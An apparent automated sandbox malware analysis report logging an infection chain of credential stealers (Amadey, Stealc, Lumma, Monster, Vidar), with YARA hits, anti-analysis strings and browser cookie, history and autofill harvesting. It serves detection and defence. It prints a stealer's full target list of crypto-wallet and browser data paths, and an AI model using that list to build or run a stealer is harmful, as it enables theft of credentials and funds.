Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Web.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Cookies.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Cookies.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\HistoryData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\HistoryData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\DownloadData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\DownloadData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AutofillData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AutofillData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Games VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\screenshot.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\screenshot.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\process_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Browsers\Firefox\History.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Browsers\Cookies.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\system_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\network_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Sessions VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Tokens VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Browsers VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Wallets VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\network_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\network_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\network_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\process_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\process_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\system_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\system_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Browsers VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Browsers\Firefox VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Browsers\Cookies.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Browsers\Firefox VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe VolumeInformation

Source: C:\Users\user\Desktop\random.exe.6.exe

Code function: 1_2_00ABCB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

1_2_00ABCB1A

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 19_2_006965B0 LookupAccountNameA,

19_2_006965B0

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 19_2_006D23D7 GetTimeZoneInformation,

19_2_006D23D7

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: legs.exe, 00000017.00000002.3413726497.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3322127001.0000000001345000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3947003890.000000000100C000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3990850119.000000000100E000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3992061832.0000000001021000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3946818650.0000000001021000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 40.2.Gxtuum.exe.cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.AllNew.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.defnur.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.defnur.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.defnur.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.defnur.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Gxtuum.exe.cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.AllNew.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.Gxtuum.exe.cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.0.Gxtuum.exe.cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.0.am209.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.Gxtuum.exe.cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.Gxtuum.exe.cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.am209.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\AllNew[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\am209[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 3.2.axplong.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.random.exe.6.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.axplong.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2278712224.0000000004760000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2279278004.0000000005090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2913732134.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2239646919.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: legs.exe PID: 7556, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: v_dolg.exe PID: 7976, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Monster Stealer

Source: Yara match	File source: 00000023.00000002.3744137456.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.3487646263.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox.exe PID: 6540, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 20.2.stealc_default2.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.stealc_default2.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000000.2955827551.000000000064E000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.2955786116.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: stealc_default2.exe PID: 5012, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: stealc_default2.exe PID: 5012, type: MEMORYSTR

Detected generic credential text file

Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File created: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\system_info.txt
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File created: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Browsers\Cookies.txt
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File created: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\process_info.txt
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File created: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\Browsers\Firefox\History.txt
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File created: C:\Users\user\AppData\Local\Temp\4D802742-3099-9C0E-C19B-2A23EA1FC420\network_info.txt

Found many strings related to Crypto-Wallets (likely being stolen)

Source: stealc_default2.exe, 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: Electrum
Source: stealc_default2.exe, 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: stealc_default2.exe, 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: \Electrum\wallets\
Source: stealc_default2.exe, 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: window-state.json
Source: stealc_default2.exe, 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: Jaxx Desktop
Source: stealc_default2.exe, 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: exodus.conf.json
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: stealc_default2.exe, 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: ElectrumLTC
Source: stealc_default2.exe, 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: passphrase.json
Source: stealc_default2.exe, 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json.*o
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: stealc_default2.exe, 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: file__0.localstorage
Source: stealc_default2.exe, 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
